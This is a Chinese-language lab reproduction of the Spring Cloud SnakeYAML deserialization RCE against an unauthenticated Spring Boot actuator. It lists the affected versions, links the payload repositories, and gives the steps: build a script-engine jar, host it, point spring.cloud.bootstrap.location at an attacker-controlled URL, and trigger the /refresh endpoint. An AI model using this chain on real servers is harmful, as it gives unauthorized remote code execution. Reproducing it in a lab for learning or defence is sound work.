一、漏洞成因:

  spring cloud在低版本下的 SnakeYAML 依赖组件存在反序列漏洞(所以有的利用叫:springcloud-snakeyaml-rce)

二、利用条件  

  Spring boot版本范围:

    Spring Boot 2.X      全部无法利用

    Spring Boot <=1.4  可以利用成功

    Spring Boot 1.5.x    在使用Dalston版本可以,使用Edgware不可以

  Spring cloud 版本范围: 

    Spring cloud <  1.3.0.RELEASE

  组件要求:

    spring-cloud-starter  && spring-boot-starter

 

三、环境搭建及确定漏洞是否存在

  1. 环境搭建就不说了,直接下面有git链接,下载IEDA直接启动即可。

  

spring boot未 授权 springboot未授权利用_spring

  2. 确认 spring-boot-actuator 1.5.22 RELEASE  ,这个版本要确认是否是Dalston版,我这直接通过pom.xml确认,如果在渗透测试过程应该是没办法直接确认。

   

spring boot未 授权 springboot未授权利用_spring_02

  

spring boot未 授权 springboot未授权利用_spring_03

  3. 确认 Spring-cloud 版本

   

spring boot未 授权 springboot未授权利用_github_04

 四、漏洞复现

  1. Payload准备

    下载payload文件解压到根目录

  2.进入目录修改AwesomeScriptEngineFactory.java,命令执行弹出计算器!

  

spring boot未 授权 springboot未授权利用_spring_05

 

  3.修改yaml-payload.yml文件

   

spring boot未 授权 springboot未授权利用_spring boot未 授权_06

 

   4. 编译并打包jar文件

    javac src/artsploit/AwesomeScriptEngineFactory.java    //编译java文件

.             //打包成jar包

    5.启动一个python的http环境,能访问到刚刚修改的jar文件和yml

    

spring boot未 授权 springboot未授权利用_java_07

 

   

spring boot未 授权 springboot未授权利用_github_08

 

   6.env接口设置spring.cloud.bootstrap.location属性

  spring.cloud.bootstrap.location=http://192.168.43.183:8888/yaml-payload.yml

   

spring boot未 授权 springboot未授权利用_github_09

 

   

spring boot未 授权 springboot未授权利用_spring boot未 授权_10

 

   7. refresh 接口刷新spring配置,触发rce

   

spring boot未 授权 springboot未授权利用_spring boot未 授权_11

 

   8.弹出画画板(我的计算器坏了)

  

spring boot未 授权 springboot未授权利用_github_12

 

 

  总结:看了很多文章分析,整了好几天。我复现的思路没有像参考文章一样本地分析跟踪代码,更偏向于利用过程的记录和踩坑。   

 

参考链接:

  https://github.com/LandGrey/SpringBootVulExploit              //漏洞总结

  https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/   //漏洞分析和漏洞版本范围

  https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository    //漏洞环境地址

  https://github.com/b1ngz/spring-boot-actuator-cloud-vul            //环境地址

  https://github.com/artsploit/yaml-payload                  //payload地址